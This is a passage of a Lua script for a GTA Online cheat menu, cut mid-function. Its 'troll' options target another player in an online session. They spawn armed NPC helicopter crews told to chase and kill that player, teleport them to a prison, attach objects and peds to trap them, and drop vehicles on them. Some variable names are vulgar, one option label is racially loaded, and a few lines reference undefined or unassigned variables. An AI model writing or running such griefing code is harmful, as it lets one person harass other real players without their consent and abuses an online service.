        local spawned_objects = {}
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local rot = v3.new(-14.599995613098, -1.7075473124351e-06, 0.0)
        local offset = v3.new(0.0, 0.0, 0.0)
        local plyveh = PED.GET_VEHICLE_PED_IS_IN(PLAYER.GET_PLAYER_PED(pid))
        local pped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local bone, AttachTo, isPed
        local object_models = {3775166597, 2890098141}
        local phys = true
        for i, model in ipairs(object_models) do
            spawned_objects[i] = entities.create_object(model, pos, true, false)
            ENTITY.SET_ENTITY_AS_MISSION_ENTITY(spawned_objects[i], true, true)
            ENTITY.SET_ENTITY_COLLISION(spawned_objects[i], true, phys, true)
            wait(25)
        end
        wait(5)
        if f.value == 0 then
            AttachTo = pped
            isPed = true
            bone = 0
        elseif plyveh ~= nil and plyveh ~= 0 and f.value == 1 then
            bone = ENTITY.GET_ENTITY_BONE_INDEX_BY_NAME(plyveh, "chassis")
            AttachTo = plyveh
            isPed = false
        end
        if AttachTo ~= nil then
            OBJECT.ATTACH_OBJECT_TO_ENTITY(spawned_objects[1], AttachTo, bone, offset, rot, isPed, false, false)
            OBJECT.ATTACH_OBJECT_TO_ENTITY(spawned_objects[2], spawned_objects[1], 0, offset, rot, false, false, false)
        end
    end)    
    
    GTAC(updatetroll, "在玩家周围设置灯光", {""}, "", function(f)
        local spawned_cunt1 = {}
        local spawned_cunt2 = {}
        local spawned_cunt3 = {}
        local spawned_cunt = {}
        local offset, pos
        local offset = v3.new()
        local pos = v3.new()
        local pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        spawned_cunt1[#spawned_cunt1 + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(2906806882, pos.x, pos.y, pos.z, true, true, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(spawned_cunt1[#spawned_cunt1], true, true)
        spawned_cunt2[#spawned_cunt2 + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(2906806882, pos.x, pos.y, pos.z, true, true, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(spawned_cunt2[#spawned_cunt2], true, true)
        spawned_cunt3[#spawned_cunt3 + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(2906806882, pos.x, pos.y, pos.z, true, true, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(spawned_cunt3[#spawned_cunt3], true, true)
        spawned_cunt[#spawned_cunt + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(2906806882, pos.x, pos.y, pos.z, true, true, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(spawned_cunt[#spawned_cunt], true, true)
        spawned_cunt[#spawned_cunt + 1] = OBJECT.CREATE_OBJECT_NO_OFFSET(2906806882, pos.x, pos.y, pos.z, true, false, true)
        ENTITY.SET_ENTITY_AS_MISSION_ENTITY(spawned_cunt[#spawned_cunt], true, true)
    end)
    
    GTAC(updatetroll, "直升机砸死他", {""}, "", function(on_click)
        local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local vehicleHash = util.joaat("buzzard2")
		local pedHash = 1558115333
		request_model(vehicleHash, pedHash)
		local coords = ENTITY.GET_ENTITY_COORDS(player_ped, true)
        local spawn_pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(player_ped, math.random(0, 0),  math.random(0, 0), 10)
        local vehicle = entities.create_vehicle(vehicleHash, spawn_pos, ENTITY.GET_ENTITY_HEADING(player_ped))
        for i=-1, VEHICLE.GET_VEHICLE_MAX_NUMBER_OF_PASSENGERS(vehicle) - 1 do
            local clown = entities.create_ped(2, pedHash, spawn_pos, CAM.GET_GAMEPLAY_CAM_ROT(0).z)
            PED.SET_PED_INTO_VEHICLE(clown, vehicle, i)
            if i % 2 == 0 then
                WEAPON.GIVE_WEAPON_TO_PED(clown, -1312131151, 1000, false, true)
            else
                WEAPON.GIVE_WEAPON_TO_PED(clown, -1312131151, 1000, false, true)
            end
			PED.SET_PED_AS_COP(clown, true)
			VEHICLE.SET_HELI_BLADES_FULL_SPEED(vehicle)
			addBlipForEntity(vehicle, 422, 40)
			VEHICLE.SET_VEHICLE_MOD_KIT(van, 0)
			VEHICLE.SET_VEHICLE_LIVERY(van, 0)
			VEHICLE.SET_VEHICLE_MOD(van, 48, 0)
			PED.SET_PED_CONFIG_FLAG(clown, 281, true)
			PED.SET_PED_CONFIG_FLAG(clown, 2, true)
			PED.SET_PED_CONFIG_FLAG(clown, 33, false)
            PED.SET_PED_COMBAT_ATTRIBUTES(clown, 5, true)
            PED.SET_PED_COMBAT_ATTRIBUTES(clown, 46, true)
			PED.SET_PED_ACCURACY(clown, 100.0)
			PED.SET_PED_HEARING_RANGE(clown, 99999)
			PED.SET_PED_RANDOM_COMPONENT_VARIATION(clown, 0)
			VEHICLE.SET_VEHICLE_DOORS_LOCKED(vehicle, 3)
			VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT(vehicle, "FIB")
			VEHICLE.SET_VEHICLE_EXPLODES_ON_HIGH_EXPLOSION_DAMAGE(vehicle, false)
			VEHICLE.MODIFY_VEHICLE_TOP_SPEED(vehicle, 50)
			PED.SET_PED_MAX_HEALTH(clown, 150)
			ENTITY.SET_ENTITY_PROOFS(ped, false, true, false, false, true, false, false, false)
			ENTITY.SET_ENTITY_HEALTH(clown, 150)
			PED.SET_PED_ARMOUR(clown, 100)
			PED.SET_PED_SHOOT_RATE(clown, 5)
			VEHICLE.SET_VEHICLE_MOD_KIT(vehicle, 0)
			VEHICLE.SET_VEHICLE_CUSTOM_PRIMARY_COLOUR(vehicle, 255, 0, 255)
			VEHICLE.SET_VEHICLE_CUSTOM_SECONDARY_COLOUR(vehicle, 255, 0, 255)
			VEHICLE.SET_VEHICLE_MOD_COLOR_1(vehicle, 3, 0, 0) 
			VEHICLE.SET_VEHICLE_MOD_COLOR_2(vehicle, 3, 0, 0)
			VEHICLE.SET_VEHICLE_WHEEL_TYPE(vehicle, 11) 
			PED.SET_PED_SUFFERS_CRITICAL_HITS(clown, false)
			VEHICLE.SET_VEHICLE_MOD(vehicle, 0, 3) 
			VEHICLE.SET_VEHICLE_EXTRA_COLOURS(vehicle, 255, 255)
			VEHICLE.SET_VEHICLE_NUMBER_PLATE_TEXT_INDEX(vehicle, 4) 
			VEHICLE.SET_VEHICLE_MOD(vehicle, 16, 4) 
			VEHICLE.SET_VEHICLE_ENGINE_HEALTH(vehicle, 2000)
			VEHICLE.SET_VEHICLE_EXPLODES_ON_HIGH_EXPLOSION_DAMAGE(vehicle, false)
			VEHICLE.SET_VEHICLE_MOD(vehicle, 16, 4) 
			VEHICLE.SET_VEHICLE_PETROL_TANK_HEALTH(vehicle, 2000)
			VEHICLE.SET_VEHICLE_TYRES_CAN_BURST(vehicle, false)
			if godmodeatk then
				ENTITY.SET_ENTITY_INVINCIBLE(vehicle, true)
			end
			if pcar then 
				PED.SET_PED_COMBAT_ATTRIBUTES(clown, 3, false)
			end
			if d then
				PED.SET_AI_WEAPON_DAMAGE_MODIFIER(clown, 3000000)
			end
            if i == -1 then
                TASK.TASK_VEHICLE_CHASE(clown, player_ped)
				WEAPON.GIVE_WEAPON_TO_PED(clown, -1312131151 , 1000, false, true)
            else
                TASK.TASK_COMBAT_PED(clown, player_ped, 0, 16)
				WEAPON.GIVE_WEAPON_TO_PED(clown, -1312131151, 1000, false, true)
            end
        end
    end)

    GTAC(updatetroll, "赠送跑车", {""}, "", function(on_click)
        local Hash = 3003014393
        local player_ped = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local spawn_pos = ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(player_ped, math.random(0, 3),  math.random(0, 3), 0)
        if request_model(3003014393) then
            local veh = entities.create_vehicle(Hash, spawn_pos, ENTITY.GET_ENTITY_HEADING(player_ped))
                VEHICLE.SET_VEHICLE_CUSTOM_PRIMARY_COLOUR(veh, 255, 0, 255)--可改载具颜色
                VEHICLE.SET_VEHICLE_CUSTOM_SECONDARY_COLOUR(veh, 255, 0, 255)
            AllowVehicleToBePlacedInGarage(pid, veh)
        end
    end)

    GTAC(updatetroll, "送到监狱", {}, "", function()
        local my_pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid))
        local my_ped = PLAYER.GET_PLAYER_PED(players.user())
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my_ped, 1628.5234, 2570.5613, 45.56485, true, false, false, false)
        menu.trigger_commands("givesh " .. players.get_name(pid))
        menu.trigger_commands("summon " .. players.get_name(pid))
        menu.trigger_commands("invisibility on")
        menu.trigger_commands("otr")
        wait(5000)
        menu.trigger_commands("invisibility off")
        menu.trigger_commands("otr")
        ENTITY.SET_ENTITY_COORDS_NO_OFFSET(my_ped, my_pos.x, my_pos.y, my_pos.z)
    end)

    GTLP(updatetroll, "闪光物理学", {"trollphysics"}, "牛顿之力", function(on_toggle)
        local id = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        local playerpos = ENTITY.GET_ENTITY_COORDS(id)
        playerpos.z = playerpos.z + 3
        local khanjali = util.joaat("prop_ld_ferris_wheel")
        STREAMING.REQUEST_MODEL(khanjali)
        while not STREAMING.HAS_MODEL_LOADED(khanjali) do
            wait()
        end
        local vehicle1 = entities.create_object(khanjali, ENTITY.GET_OFFSET_FROM_ENTITY_IN_WORLD_COORDS(PLAYER.GET_PLAYER_PED(pid), 0, 2, 3), ENTITY.GET_ENTITY_HEADING(id))
        local vehicle2 = entities.create_object(khanjali, playerpos, 0)
        local vehicle3 = entities.create_object(khanjali, playerpos, 0)
        local vehicle4 = entities.create_object(khanjali, playerpos, 0)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle1)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle2)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle3)
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(vehicle4)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle2, vehicle1, 0, 0, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle3, vehicle1, 0, 3, 3, 0, 0, 0, -180, 0, false, true, false, 0, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(vehicle4, vehicle1, 0, 3, 0, 0, 0, 0, 0, 0, false, true, false, 0, true)
        ENTITY.SET_ENTITY_VISIBLE(vehicle1, false)
        wait(1200)
        entities.delete_by_handle(vehicle1)
    end, nil, nil, COMMANDPERM_AGGRESSIVE)
    
    GTAC(updatetroll,"附加困住", {""}, "", function(on)
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = players.user_ped(pid)
        tree = CreateVehicle(368211810,pos,0)
        ENTITY.SET_ENTITY_INVINCIBLE(tree, true)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(pedp, tree, pos, 0,0,0,0,0,0,false, true, false, false, 0, true, 0)
        util.toast("3秒后清除实体")
        wait(3000)
        entities.delete_by_handle(tree)
        end)
    
        GTAC(updatetroll, "诛仙剑阵", {''}, "", function()
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pos.z = pos.z + 30
        car = CreateVehicle(3581397346, pos, 0)
        ENTITY.SET_ENTITY_ROTATION(car, -90, 0, 0, 0, true)
        VEHICLE.SET_VEHICLE_FORWARD_SPEED(car, 1000)
        wait(1)
        for i = 0, 5 do
        pos.z = pos.z + 30
        pos.x = pos.x + math.random(-6, 6)
        pos.y = pos.y + math.random(-6, 6)
        car = CreateVehicle(3581397346, pos, 0)
        ENTITY.SET_ENTITY_ROTATION(car, -90, 0, 0, 0, true)
        VEHICLE.SET_VEHICLE_FORWARD_SPEED(car, 1000)
        end
        end)
    
        function Cped(type, hash, coords, dir)
        request_model(hash, 300)
        local ped = entities.create_ped(type, hash, coords, dir, true, false)
        STREAMING.REQUEST_MODEL(hash)
        return ped
        end
        GTAC(updatetroll, "黑人抬棺", {''}, "", function()
        get_control_of_entity = function(h, t)
        if not h then
        return
        end
        if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h) then
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(h)
        local time = util.current_time_millis() + t
        while ENTITY.IS_AN_ENTITY(h) and not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h) and time > util.current_time_millis() do
        wait(5)
        end
        end
        return NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h)
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        coffin = OBJECT.CREATE_OBJECT_NO_OFFSET(2193278353, 0,0,0, pos, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(coffin, pedp, 0, 0, -1, 0.8, 0.0, 0, 0.0, true, true, false, 0, true)
        npc1 = Cped(26, 2602752943, pos, 0)
        get_control_of_entity(npc1, 300)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1, coffin, 0, 0.55, 0, -0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        get_control_of_entity(npc2, 300)
        npc2 = Cped(26, 2602752943, pos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2, coffin, 0, -0.55, 0, -0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        get_control_of_entity(npc3, 300)
        npc3 = Cped(26, 2602752943, pos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3, coffin, 0,  0.55, 0, -0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        get_control_of_entity(npc4, 300)
        npc4 = Cped(26, 2602752943, pos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4, coffin, 0, -0.55, 0.5, -0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        get_control_of_entity(npc5, 300)
        npc5 = Cped(26, 2602752943, pos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5, coffin, 0, 0.55, -0.5, -0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        get_control_of_entity(npc6, 300)
        npc6 = Cped(26, 2602752943, pos, 0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6, coffin, 0, -0.55, -0.5, -0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        end)
    
        GTAC(updatetroll, "克隆抬棺", {''}, "", function()
        get_control_of_entity = function(h, t)
        if not h then
        return
        end
        if not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h) then
        NETWORK.NETWORK_REQUEST_CONTROL_OF_ENTITY(h)
        local time = util.current_time_millis() + t
        while ENTITY.IS_AN_ENTITY(h) and not NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h) and time > util.current_time_millis() do
        wait(5)
        end
        end
        return NETWORK.NETWORK_HAS_CONTROL_OF_ENTITY(h)
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        coffin = OBJECT.CREATE_OBJECT_NO_OFFSET(2193278353, 0,0,0, pos, false)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(coffin, pedp, 0, 0, 0, 0.6, 0.0, 0, 0.0, true, true, false, 0, true)
        npc1 = PED.CLONE_PED(pedp)
        get_control_of_entity(npc1, 300)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1, coffin, 0, 0.25, 0, -0.4, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        get_control_of_entity(npc2, 300)
        npc2 = PED.CLONE_PED(pedp)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2, coffin, 0, -0.25, 0, -0.4, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        get_control_of_entity(npc3, 300)
        npc3 = PED.CLONE_PED(pedp)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3, coffin, 0, 0.25, 0.5, -0.4, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        get_control_of_entity(npc4, 300)
        npc4 = PED.CLONE_PED(pedp)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4, coffin, 0, -0.25, 0.5, -0.4, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        get_control_of_entity(npc5, 300)
        npc5 = PED.CLONE_PED(pedp)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5, coffin, 0, 0.22, -0.5, -0.4, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        get_control_of_entity(npc6, 300)
        npc6 = PED.CLONE_PED(pedp)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6, coffin, 0, -0.22, -0.5, -0.4, 0.0, 0, 0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        end)
    
        GTAC(updatetroll, "附加祖国人", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0x348065F5,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加外星人", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0x64611296,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加宇航员", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0xE7B31432,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加猴子", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc4, true)
        npc5 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc5,pedp, 0, 0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc5, true)
        npc6 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc6,pedp, 0, 0.00,0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc6, true)
        npc7 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc7,pedp, 0, -0.60,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc7, true)
        npc8 = createped(26,0xDC59940D,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc8,pedp, 0, 0.0,-0.60,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc8, true)
        end)

        GTAC(updatetroll, "附加大脚怪", {}, "", function(f)
        local function createped(type, hash, pos, dir)
        STREAMING.REQUEST_MODEL(hash)
        while not STREAMING.HAS_MODEL_LOADED(hash) do
        wait(10)
        end
        local ped = entities.create_ped(type, hash, pos, dir, true, false)
        STREAMING.SET_MODEL_AS_NO_LONGER_NEEDED(hash)
        return ped
        end
        pos = ENTITY.GET_ENTITY_COORDS(PLAYER.GET_PLAYER_PED(pid))
        local pedp = PLAYER.GET_PLAYER_PED_SCRIPT_INDEX(pid)
        pos.z = pos.z + 0.6
        npc1 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc1,pedp, 0, 0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc1, true)
        npc2 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc2,pedp, 0, 0.00,0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc2, true)
        npc3 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc3,pedp, 0, -0.30,0,0.0,0.0,0,0.0, true, true, false, 0, true)
        ENTITY.FREEZE_ENTITY_POSITION(npc3, true)
        npc4 = createped(26,0x61D4C771,pos,0)
        ENTITY.ATTACH_ENTITY_TO_ENTITY(npc4,pedp, 0, 0.0,-0.30,0.0,0.0,0,0.0, true, true, false, 0, true)
